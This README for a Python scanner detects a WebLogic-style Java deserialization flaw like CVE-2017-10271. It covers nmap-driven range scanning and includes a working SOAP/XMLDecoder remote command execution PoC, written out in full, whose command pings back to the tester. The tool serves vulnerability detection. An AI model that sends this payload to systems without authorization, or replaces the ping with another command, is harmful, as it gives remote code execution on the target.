Java Deserialization Vulnerability Scanner

A Java deserialization vulnerability scanner for vulnerabilities similar to CVE-2017-10271. This project currently contains only one PoC; others have not been organized yet.

Installation

1. Install nmap

   ​ https://nmap.org/download.html Download the appropriate version for your operating system.

2. Install third-party packages

   pip install -r requirements.txt

3. Scan

   Modify the PoC: change the IP address in the ping command to your own IP address.

   Modify the sniff code on line 25:

   root@kitploit:~

   sniff(filter='icmp and yourIP', prn=packet_callback)
   

   java_scan.py -i IP_address [options] java_scan.py -h for help

Usage

1. PoC

Before use, be sure to modify the PoC: change the IP address in the ping command to your own IP address.

The PoC consists of two JSON format files, one for Windows and one for Linux (the ability to specify a custom PoC path is not yet implemented; it will be added in a future version). The PoC files must be named poc.json and poc_win.json respectively in the program directory.

PoC format (Linux version; Windows version is similar)

{
  "url":"wls-wsat/CoordinatorPortType",
  "header": "Content-Type:text/xml",
  "data": [
    "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
        "<soapenv:Header>",
            "<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
               "<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
                    "<void class='java.lang.ProcessBuilder'>",
                        "<array class='java.lang.String' length='3'>",
                            "<void index='0'>",
                                "<string>/bin/bash</string>",
                            "</void>",
                            "<void index='1'>",
                                "<string>-c</string>",
                            "</void>",
                            "<void index='2'>",
                                "<string>ping 10.60.18.5 -c 2</string>",
                            "</void>",
                        "</array>",
                    "<void method='start'/></void>",
                "</java>",
            "</work:WorkContext>",
        "</soapenv:Header>",
        "<soapenv:Body/>",
    "</soapenv:Envelope>"
  ]
}

url specifies the vulnerable endpoint path, header specifies additional HTTP headers to include in the POST request, and data is the serialized content to be sent.

Note: This PoC requires the vulnerable host to send 2 ICMP echo requests. The program can only confirm the vulnerability when it detects ICMP packets.

2. Scanning a LAN with nmap

The default scan calls nmap to scan the local network.

java_scan.py -i 192.168.0.1

This scans port 7001 on host 192.168.0.1.

3. Specifying IP and port

Specify a single IP and port:

java_scan.py -i 192.168.0.1 -p 7001

Specify multiple IPs and multiple ports:

java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001

Specify an IP range and port range:

java_scan.py -i 192.168.0.1-255 -p 7000-8000

4. Fast port probing

Use the -f parameter to perform fast port probing using sockets.

java_scan.py -i 192.168.0.1-255 -p 7001 -f

Specify the number of threads for fast port probing:

java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100

5. Screenshot